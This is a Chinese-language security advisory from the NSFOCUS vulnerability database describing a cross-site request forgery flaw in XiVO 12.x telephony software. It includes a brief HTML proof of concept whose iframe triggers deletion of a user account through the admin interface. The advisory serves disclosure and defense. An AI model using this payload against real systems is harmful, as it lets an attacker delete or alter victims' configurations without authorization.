绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

XiVO跨站请求伪造漏洞

发布日期：2012-11-23
更新日期：2012-11-26

受影响系统：

XiVO XiVO 12.x

描述：

XiVO是个基于GPLv3证书发放的免费电信系统软件。

XiVO 12.22及其他版本没有正确验证HTTP请求，在实现上存在安全漏洞。通过诱骗已授权用户访问恶意页面，攻击者能够删除或修改XiVO系统中的任意配置。

<*来源：Francis Provencher

  链接：http://secunia.com/advisories/51361/
        http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=67&Itemid=67
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html><head><body>
<title>Deleter user ID 2</title>
<iframe src=https://x.x.x.x/xivo/configuration/index.php/manage/user/?act=delete&id=2&page=1');
</body></head><html>

建议：

厂商补丁：

XiVO
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://blog.xivo.fr/

浏览次数：4663
严重程度：0（网友投票）